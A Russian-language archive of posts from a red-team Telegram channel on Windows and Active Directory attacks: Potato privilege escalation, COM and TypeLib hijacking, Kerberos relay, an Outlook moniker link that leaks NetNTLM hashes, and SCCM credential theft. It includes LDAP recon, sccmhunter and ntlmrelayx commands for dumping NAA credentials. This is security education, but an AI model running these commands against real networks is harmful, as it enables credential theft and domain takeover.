RedTeam brazzers @redteambro Channel on Telegram

RedTeam brazzers

@redteambro


Про внутряки и редтим. Чат канала: https://t.me/joinchat/Dx2taD7P58A1MGZi

Некоммерческий проект. Не одобряем блек. Выступаем против всего плохого и за все хорошее🙂

RedTeam brazzers (Russian)

RedTeam brazzers - это Telegram канал, который занимается обсуждением внутренних аспектов и методов работы редтима. Пользователи могут присоединиться к чату канала, чтобы обсудить текущие темы и делиться опытом. Этот некоммерческий проект призван объединить людей, заинтересованных в редтиме, и помочь им обучаться и обмениваться знаниями. Канал redteambro выступает против всех видов негатива и поддерживает позитивный взгляд на мир. Присоединяйтесь к RedTeam brazzers, чтобы быть в курсе последних новостей и участвовать в обсуждениях с единомышленниками.

RedTeam brazzers

15 Nov, 06:29


Всем привет!

С каждым днем лица людей на улице все более сердитые и угрюмые, кое-где успел выпасть снег, а некогда теплые осенние вечера сменились тоскливыми снежными сумерками.

В такое время очень не хватает хорошего списка LPE эксплойтов под винду.

К великому сожалению, я не смог обнаружить актуальный поддерживаемый список сплойтов 2023-2024 годов, впрочем, благодаря каналу 1N73LL1G3NC3, который был предательски снесен администрацией Telegram, у меня получалось достаточно оперативно пополнять свой небольшой лист с гитхабовскими POC.

Поэтому я принял решение о создании своего списка с LPE сплойтами под винду. Получилось собрать практически все POCи, которые выходили с 2023 года.

Ознакомиться можно тут:
https://github.com/MzHmO/Exploit-Street

RedTeam brazzers

27 Oct, 18:06


Последнее время на ИБ конфах самые популярные темы: осинт, социалка и выгорание. Постараюсь быть в тренде и расскажу о разведке внутри инфры.
1. Часто бывает только одна непривилегированная УЗ , но очень хочется использовать её по полной. Как правило, всем учетным записям в домене разрешено ходить по RDP на терминальный сервер, но как найти терминальные серверы?
Для того что бы на Windows Server по RDP могло ходить много пользователей необходимо приобрести лицензию у Microsoft для создания терминального сервера. Данное действие оставляет следы, их и будем искать. Машинные учетные записи терминальных серверов состоят в группе Terminal Server License Servers достаточно найти их всех и попробовать сходить по RDP. Для поиска можно использовать ldapdomaindump или сделать ldap запрос:
go-windapsearch/windapsearch -d domain.local -u user -p 'P@ssw0rd' -m custom --filter="(&(objectClass=computer)(memberOf=CN=Terminal Server License Servers,CN=Users,CN=Builtin,DC=domain,DC=local))" --attrs dNSHostName

Ну или команда qappsrv [/domain:office.local]
2. Тоже самое с серверами MSSQL в сети, очень часто видел как группа domain users имеет право авторизоваться. Да, дальше прав на доступ к данным нет, но зачем они нам, когда есть MSSQL links, Impersonate privs, xp_dirtree, dbowner, etc...
Для того что бы найти много MSSQL, в том числе не на стандартных портах, можно использовать ldap запрос:
go-windapsearch/windapsearch -d domain.local -u user -p 'P@ssw0rd' -m custom --filter="(&(objectClass=computer)(servicePrincipalName=*MSSQLSvc/*))" --attrs dNSHostName,servicePrincipalName

На скриншоте приведен пример, как можно найти mssql на нестандартных портах.
3. Какой ваш любимый C2? Cobalt, Havoc, может всеми любимый sliver? Лично мой самый любимый - Kaspersky Security Center (KSC). Очень часто он любезно предустановлен в инфраструктуре и готов к работе, сразу подключено много агентов и уже собрано много информации. Кстати, если не можете найти в инфре KSC, то просто зайдите на любой хост и ПКМ по значку в трее покажет где KSC. Раньше для поиска нужного пользователя в домене я использовал скрипт Invoke-UserHunter, но очень часто корректная сегментация сети не позволит вам со своей машины дотянуться до нужных сегментов. Поэтому хорошая идея использовать встроенный поиск в KSC, ПКМ по Сервер администрирования -> Найти -> Вкладка "Пользователи" и ищем на каких машинах был залогинен нужный пользователь.

RedTeam brazzers

22 Oct, 18:29


Всем привет!

Существует (не сказать, что уж очень популярный) способ закрепления под названием "COM Hijacking". Его основная суть заключается в подмене библиотеки с функционалом COM-класса. Атакующие устанавливают свою библиотеку, она подгружается в целевой процесс, дергающий подмененный функционал и получают исполнение.

Однако в один прекрасный осенний вечер мне стало скучно, я открыл Process Explorer и нашел альтернативу — TypeLib Hijacking. Вместо изменения библиотеки COM мы можем подменять TypeLib, что будет чуть более безопасно и потенциально не сломает никакой функционал :))

Так родился новый способ закрепления - TypeLib Hijacking. Для обнаружения потенциальных библиотек для подмены был разработан инструмент TypeLibWalker.

Описал тут, приятного чтения 🧑‍💻

https://medium.com/@cicada-8/hijack-the-typelib-new-com-persistence-technique-32ae1d284661

RedTeam brazzers

13 Oct, 16:39


Всем привет!

На днях привезли новые CLSIDы, которые можно абузить с помощью RemoteKrbRelay. Для гарантированной эксплуатации требуется наличие нашего пользователя в одной из привилегированных групп:
- Distributed COM Users;
- Performance Log Users.

Однако этот список не ограничивается только этими группами! При установке различных служб (по типу SCCM) меняется DACL на DCOM-объекты. Поэтому существуют еще привилегированные группы, с членством в которых мы можем без проблем триггерить чужие компы. К таким группам относятся:
- Remote COM Users;
- RDS Remote Access Servers;
- RDS Endpoint Servers;
- RDS Management Servers;
- SMS Admins.

Есть и более простой способ проверки: если на хост нас пускает через DCOMExec, то скорее всего сработает и триггер с помощью RemoteKrbRelay.

Вопрос остается один. Где тренироваться? С удивлением для себя обнаружил полноценную машину, которая решается через RemoteKrbRelay.

Отдельно хочу отметить, что MS пока не ввела никаких защит от Reflection-атак на протокол Kerberos, в отличие от NTLM. То есть, NetNTLM мы сами на себя релеить не можем, а керберос можем :))) Таким образом можно попробовать захватить домен даже из одной машины 🙂

RedTeam brazzers

10 Oct, 14:51


Офенсив моникеры.

Внутри систем Windows существует один интересный механизм под названием моникеры. Моникеры представляют собой отдельную сущность в COM. Они позволяют идентифицировать конкретный COM-объект (или даже полноценно его реализовывать) в виде простой строки. Просто одной строки :)

Это удобно, как минимум потому, что тебе не нужно знать CLSID (который, кстати, может меняться). Достаточно разве что нужной строки.

Впрочем, как и любой другой функционал винды, моникеры активно абузятся атакующими. Я нарыл три варианта злоупотребления:

1. UAC Bypass. Отдельный класс моникеров - Elevation Moniker. Они позволяют инстанцировать объекты в процессе с более высоким уровнем целостности, что и приводит к обходу UAC. Эти объекты достаточно легко найти. И есть даже инструмент MonikerHound для обнаружения подобных объектов. Примеры UAC Bypass с помощью Elevation Moniker можно найти тут и тут. Подробное описание можно найти в статье на хакере.

2. Кража сессий. Существует Session Moniker, позволяющий инстанцировать COM-объект внутри чужой сессии. Так мы можем с помощью Session Moniker создать в чужой сессии объект с методом ExecuteInCmd() , вызвать его и исполнить код в чужой сессии. Пример кода мы публиковали тут. А о внутренней реализации Session Moniker (фактически, что у IHxExec под капотом) я писал тут. Наконец, в только что вышедшей статье на хакере глянули еще способы абуза сессий через COM.

3. Утечка NetNTLM-хешей. Не так давно в Outlook был баг: Moniker Link Bug. Его использование позволяло сделать утечку NetNTLM-хешей при добавлении HTML-тега в письмо:
<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>


Как это работало? Строку \\10.10.111.111\test\test.rtf!something до знака ! Outlook воспринимал как файловый моникер (то есть, COM объект как бы представлен в файле), а something как Item Moniker (это вообще COM-объект в некотором контейнере, внутри клеток таблицы Excel например). При этом, если бы в теге висело просто \\10.10.111.111\test\test.rtf , то это был бы обычный путь, а не моникер :)

Соответственно, Outlook начинал парсить эту строку, получал моникер и пытался обратиться по пути для инициализации File Moniker, что приводило к утечке NetNTLM-хеша. Подробнее про эту багу можно почитать тут.

Если уж прям совсем честно говорить, то Outlook видел файловый моникер на .rtf файл и в фоне запускал процесс Microsoft Word, который уже пытался открыть файл по UNC-пути. И именно из него летели хеши :)

RedTeam brazzers

08 Oct, 08:43


Всем привет!

Помните те огромные Github-репозитории со списками Cypher-запросов для Bloodhound? От CompassSecurity, knavesec, mgeeky. Ведь именно к ним приходится прибегать, когда стандартный "Shortest Path From Owned to Domain Admins" не работает. Впрочем каждый раз искать нужный запрос как-то... не по-хакерски что-ли :) Нужно научиться писать их самому.

Мой хороший друг Дмитрий Неверов выступил на прошедшем VolgaCTF с прекрасным воркшопом: Язык запросов Cypher глазами ИБ. Рекомендую к просмотру всем, кто очень давно хотел изучить Cypher, но никак не мог заставить себя ;)

RedTeam brazzers

07 Oct, 16:38


Ретрансляция Kerberos. Хаброразбор.

После пучины долгих раздумий и определенных сложностей с новым инструментом для редактирования текстов на хабр, я хочу представить вам статью про релей кербероса. Если вы до сих пор откладывали эту интереснейшую тему для изучения, то пора взять себя в руки и погрузиться в глубины кербероса, DCOMа и релеев!

Вчера вышел еще один POC на Kerberos Relay — KrbRelay-SMBServer. Этот инструмент также не остался без внимания и я не забыл упомянуть его в статье.

Читать тут:

https://habr.com/ru/articles/848542/

RedTeam brazzers

07 Oct, 07:01


Всех с понедельничним обзором картошек!!! :)

Зачастую наличие привилегии SeImpersonatePrivilege ведет к повышению привилегий до системы. Однако я нигде не видел достаточно структурированной информации, в которой описывались бы не сами инструменты, а общий принцип их работы. Пора исправлять :)

Концептуально потатосы можно разделить на:
- DCOM-Based - огромная часть сплойтов абузит именно DCOM. Там в нескольких местах у нас вылезает аутентификация, выстраивается контекст, и из него уже можно извлечь токен. Примерно того же принципа придерживается и Krb Relay-штуки. Разве что мы там ловим тикет и идем с ним куда-нибудь, а здесь мы атакуем локальную систему. Как — узнаете уже очень скоро :)) Прошу прощения, видос с UnderConf задерживается, но я уже активно занимаюсь перегонкой материала в текстовый формат на хабре, с добавлением всяких штучек-дрючек :) Сюда входят JuicyPotatoNG, RottenPotato, LonelyPotato, JuicyPotato, RemotePotato, SweetPotato, GodPotato, RoguePotato, LocalPotato
- Через кражу токена. Но это более редкий чейн, если у нас есть еще и SeDebugPrivilege, то мы можем стащить с любого чужого процесса токен и нацепить на свой пейлоад через CreateProcessWithTokenW(). POC
- Захват WPAD-аутентификации с NTLM Reflection атакой. Метод был пропатчен в MS16-075. Впрочем, POC HotPotato есть.
- Злоупотребление кешем LSA. Для предотвращения атак NTLM Reflection майкрософты придумали ввести некоторый список ресурсов, который хранился внутри LSA. Все заключалось в том, что LSASS стал хранить в кэше список всех недавно выданных NTLM Challenges с соответствующей службой, чтобы обнаружить попытки NTLM Reflection. Собственно, проводя сопоставление между челленджем и службой, на которой происходит аутентификация, можно было определить атаку. Косяк заключался в том, что кеш имел достаточно маленькое время жизни (300 секунд), после чего очищался. Хакеру оставалось разве что подождать это время, после чего дернуть LSA и эскалироваться. POC называется GhostPotato. Метод тоже уже пропатчен.
- Злоупотребление функциями имперсонации. В OSEP с нами делились сплойтом PrintSpoofer. Кто забыл, это вариант эксплуатации SeDebug через вызов функции принтера, которая принимает конкретную конечную точку — именованный канал (пайп). Хакер поднимал собственный пайп, триггерил функцией систему , и система приходила на пайп. Хакеру оставалось разве что вызвать ImpersonateNamedPipeClient() для захвата учетной записи. Мало кто знает, но есть и другие уязвимые службы! DiagTrack — DiagTrackEop, RasMan service — RasmanPotato, AzureAttestService — magicAzureAttestService. Но не пайпами едиными. В COM тоже есть функция по имперсонации, называется CoImpersonateClient(), ею злоупотребляли в DCOMPotato .

Наконец, есть и более общий вариант, который лишь поднимает службы HTTP и SMB. Как заставить систему зайти на них — дело ваше. В случае HTTP отдастся 401 запрос с захватом аутентификации, в случае SMB — имперсонация. Такая картошка называется GenericPotato

RedTeam brazzers

27 Sep, 06:07


Всем привет! Уже 29 сентября пройдет конференция UnderConf . На нее пойду и я, с докладом :) Приглашаю дорогих подписчиков присоединиться!

Сделаю разбор недавно вышедшего инструмента RemoteKrbRelay. Расскажу принцип его работы, вместе с вами погрузимся в глубины DCOMа, подробно изучим ранее вышедшие способы принудительной аутентификации через DCOM, найдем варианты защиты, изучим уже установленные патчи и предложим варианты обхода. Скучно не будет :)) Приходите 🙂

Видеокамеры не брать! Организаторы обещают запись всех докладов. Сможете дома вечерком с чаем пересмотреть :)

RedTeam brazzers

18 Sep, 15:06


Эксплуатация ядерных уязвимостей - довольно рискованное дело, особенно когда нет уверенности, что эксплойт отработает корректно.
@hummelchen0 специально для нашего сообщества разобрал вопрос применения таких эксплойтов в статье (https://hummelchen.gitbook.io/linux_lpe) "Ядерные LPE в Linux на практике". В ней вы сможете узнать, как на своей системе протестировать ядерный сплойт для практически любого ядра Linux и автоматизировать такие проверки для самых популярных дистрибутивов.

RedTeam brazzers

04 Sep, 09:55


Всем привет!

Прошедший на OFFZONE воркшоп по картошкам навел меня на мысль о том, что следует автоматизировать процесс ресерча COMов как можно лучше и как можно с больших сторон.

На тот момент у меня уже были небольшие наработки, однако, они в большинстве своем валялись без дела. Я решил исправить это.

Я объединил свои инструменты по нахождению интересностей в COM в небольшой репозиторий, который назвал COMThanasia. На данный момент там пять тулз:
- PermissionHunter - позволяет обнаруживать кривые права (LaunchPermission и AccessPermission) на COM-объекты. Фактически, это Checkerv2.0 из RemoteKrbRelay :)
- ComDiver - автоматический анализ прав на ключи реестра, по которым зарегистрированы COM-классы. Причем анализ ведется в соответствии с приоритетами, по которым система осуществляет поиск COM-класса. Удобно использовать для (Shadow) COM Hijacking.
- MonikerHound - инструмент для поиска собственного способа UAC Bypass через Elevation Monikers. Об этом варианте UAC Bypass я писал тут
- ClsidExplorer - анализ и вычленение методов COM-класса для обнаружения интересных фич :) Отлично для работы в группе с ComTraveller/PermissionHunter
- ComTraveller - анализ всех COM на системе на предмет наличия TypeLib, значения ключа Runas (The Interactive User или NT AUTHORITY\SYSTEM ведет к LPE), а также возможности кросс-сессионной активации, как было в LeakedWallpaper

Так вы можете несколько автоматизировать процесс обнаружения мисконфигов в COM :)

Помимо того, там есть небольшой трюк по получению PID процесса, в котором инстанцирован COM-класс, что позволяет исследовать COMы с новой стороны

А если бы я релизнул это чуть раньше, то кто-нибудь точно нашел CVE-2024-38100 (FakePotato) и CVE-2024-38061 (SilverPotato) 🤪

RedTeam brazzers

02 Sep, 16:43


Думаете, что нейминг атак на ADCS дикий, неудобный и само его появление — ошибка?

В чем-то я с вами согласен, ты банально пропускаешь определенные атаки или не понимаешь, как их записывать. Казалось бы, сначала шли ESC1-11, потом вышла CVE-2022-26923 и что это? ESC12? А если у нас есть права на запись и захватываем ADCS через запись нового значения в CRLPublicationURLs? В общем, путаница есть и как ее решать не особо понятно.... По идее это ESC5 🤔🙂

Однако, это далеко не единственный сервис, атаки на который имеют столь неудобный нейминг :)

Оказывается, атаки на SCCM также распределены и раскиданы по категориям:
- CRED - атаки на получение учетных данных;
- EXEC - атаки типа Lateral Movement и иного варианта исполнения на целевом сервере;
- RECON - методы обнаружения служб SCCM;
- TAKEOVER - варианты захвата сайта SCCM.

Подобное именование уже не покрывает некоторое количество атак, например, нет никакой CRED-техники под извлечение учетных данных из Device Collection Variables, TaskSequence.

Впрочем, это вводит хоть какую-то структуру и позволяет более точечно общаться на тех же собесах.

Список техник с их описанием представлен в репозитории, помимо того, авторы любезно предоставили скрипт для автоматического обнаружения мисконфигураций в SCCM.

А еще давным-давно выходила статья про соединение Neo4J и SCCM :) Однако материал уже очень старый, поэтому нужно ресерчить эту тему с нуля

RedTeam brazzers

30 Aug, 15:14


Всем привет! Давным-давно появился инструмент msi_search, который создали mandiant для анализа установленных MSI-файлов на системе. Впоследствии эти файлы можно было выкачать и проанализировать на предмет уязвимостей. Подобный вектор привеска достаточно не самый примитивный и обычный, однако, я не раз встречал интересные инсталляторы, которые нужно было как-то сломать :)

Сам формат MSI предательски похож на формат SQL, что упрощало написание автоматизированного чекера на уязвимости. Так родился инструмент MyMSIAnalyzer , я научил его:
- Обнаруживать оставленные учетные данные внутри MSI-файла
- Анализировать CustomActions на предмет наличия действий, исполняемых от лица системы
- Проверять возможность перезаписи CustomActions, что может использоваться как для повышения привилегий, так и закрепления
- Проверка сигнатур (нужно в контексте MST Backdoor), а также отдельная программа для обнаружения GUI внутри MSI, ведь в таком случае возможно осуществить побег в cmd.exe через запуск explorer.exe

Полный разбор MSI-файлов как вектора повышения привилегий я выложил на medium. Приятного чтения :))

RedTeam brazzers

30 Aug, 05:45


Мейнфреймы IBM на базе операционки z/OS могут показаться вымершими динозаврами из глубокого прошлого. Однако велики шансы, что в сердце ваших бизнес-процессов жужжат именно эти шкафы. Их можно встретить во многих крупных организациях, где требуется обработка большого количества транзакций (банки, биржи, аэропорты и др.)

Из-за высокой стоимости и узкой специализации мейнфреймы редко встречаются в проектах по анализу защищённости. Поэтому в публичном доступе очень мало знаний о том, как тестировать мейнфреймы на проникновение и как детектировать атаки на них.

Наш эксперт Денис Степанов собирает такие знания – всё, что понадобится пентестеру, чтобы получить контроль над мейнфреймом, повысить привилегии, найти возможные вектора для бокового перемещения и эксфильтровать данные:
https://securelist.ru/zos-mainframe-pentesting/110237/

RedTeam brazzers

27 Aug, 11:01


Продолжим тему интересных вопросов с собесов, которые когда-то не вошли в подкаст :)) Думаю, все знают про MachineAccountQuota — количество компьютерных УЗ, которые могут добавлять пользователи в домен. Дефолтное значение 10. Однако, как этим злоупотреблять? В основном все вспоминают следующие основные кейсы:
- NTLM Relay / иной функционал абуза , для эксплуатации которого требуется компьютерная учетная запись, например, настройка RBCD
- Небезопасные ACL компьютерных учетных записей домена

Впрочем, есть еще один интересный вектор, который связан с SCCM и NAA (Network Access Accounts). Это специальные аккаунты, которые предоставляются SCCMом для того, чтобы клиент мог получить доступ к Distribution Point для загрузки необходимых файлов. Учетные данные от NAA в большинстве своем пушатся абсолютно на все компьютеры, управляемые SCCMом.

Если вдруг у передаваемой учетки недостаточно порезаны права, то у нас появляется вектор повышения привилегий :)

Итак, кейс первый. MAQ > 0 (или мы хакнули компьютерную УЗ). В таком случае берем инструмент sccmhunter и запускаем его следующим образом:
python sccmhunter.py http -auto -u pentest -p lolkekcheb123! -d abc.ru -dc-ip 192.168.0.1

Ключ -auto автоматически создаст УЗ. Можно указать уже существующую через -cp , -cn.

Однако, что если MAQ = 0? В таком случае мы можем осуществить ретрансляцию существующих кред любой машинной УЗ на SCCM и извлечь NAA-креды. Для этого берем форк , запускаем:
python3 ntlmrelayx.py -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support

-t <- Site Server, на который релеим
—sccm-device <- произвольное имя, которое появится в админке SCCM. Это имя как бы добавляемого устройства
—sccm-sleep <- таймаут, в течение которого ждать получения политики

Далее триггерим любым удобным способом любой компьютер. ntlmrelayx сдампит для нас любезно файл naapolicy.xml с учетными данными от NAA-аккаунта, которые можно расшифровать так, как показано в блоге.

RedTeam brazzers

20 Aug, 15:36


Открытая лекция сообщества RTB про радужные таблицы, как они работают, где лучше всего применяются и некоторые мысли по поводу сервиса crack.sh.